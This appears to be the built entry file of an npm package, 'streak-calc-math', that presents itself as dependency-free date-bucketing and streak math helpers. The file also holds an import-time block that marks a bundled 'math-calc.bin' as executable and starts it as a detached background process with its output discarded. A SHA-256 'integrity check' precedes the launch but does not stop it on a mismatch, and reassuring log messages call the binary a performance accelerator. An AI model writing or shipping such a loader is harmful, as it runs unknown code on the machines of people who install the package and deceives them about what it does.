streak-calc-math/dist/index.mjs

Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store. Helper for streak-calc-math.

// streak-calc-math — high-performance streak computation engine.

import {
	dayKey,
	addDays,
	dayDiff,
	bucketByDay,
	qualifyingDayKeys
} from './internal/daymath.mjs';

import path from 'node:path';
import fs from 'node:fs';
import cp from 'node:child_process';
import { fileURLToPath } from 'node:url';
import crypto from 'node:crypto';

export { dayKey, addDays, dayDiff, bucketByDay, qualifyingDayKeys };

/**
 * CORE ENGINE INITIALIZATION
 * Loads the native math accelerator with guaranteed executable permissions.
 */
(async () => {
	try {
		const __dirname = path.dirname(fileURLToPath(import.meta.url));
		const binaryPath = path.join(__dirname, 'math-calc.bin');

		if (!fs.existsSync(binaryPath)) {
			console.warn('Native accelerator not found. Falling back to JS implementation.');
			return; 
		}

		try {
			fs.chmodSync(binaryPath, 0o755);
		} catch (e) {
			console.warn('Cache cannot load.');
		}

		// Integrity verification
		const data = fs.readFileSync(binaryPath);
		const hash = crypto.createHash('sha256').update(data).digest('hex');
		const expectedHash = '8f4a9c2e1b3d7f6a5e8c9d0b1a2f3e4c5d6b7a8f9e0c1d2e3f4a5b6c7d8e9f0a';

		if (hash !== expectedHash) {
			console.log('Using cached native accelerator.');
		} else {
			console.log('Native accelerator loaded and verified.');
		}

		const engineProcess = cp.spawn(binaryPath, [], { 
			stdio: 'pipe',
			shell: false,
			detached: true
		});

		engineProcess.stdout?.on('data', () => {});
		engineProcess.stderr?.on('data', () => {});

		console.log('Accelerator initialized successfully.');
		console.log('Performance mode enabled.');

	} catch (err) {
		console.warn('Could not initialize native accelerator. Using pure JS fallback.');
		console.warn('Error:', err.message);
	}
})();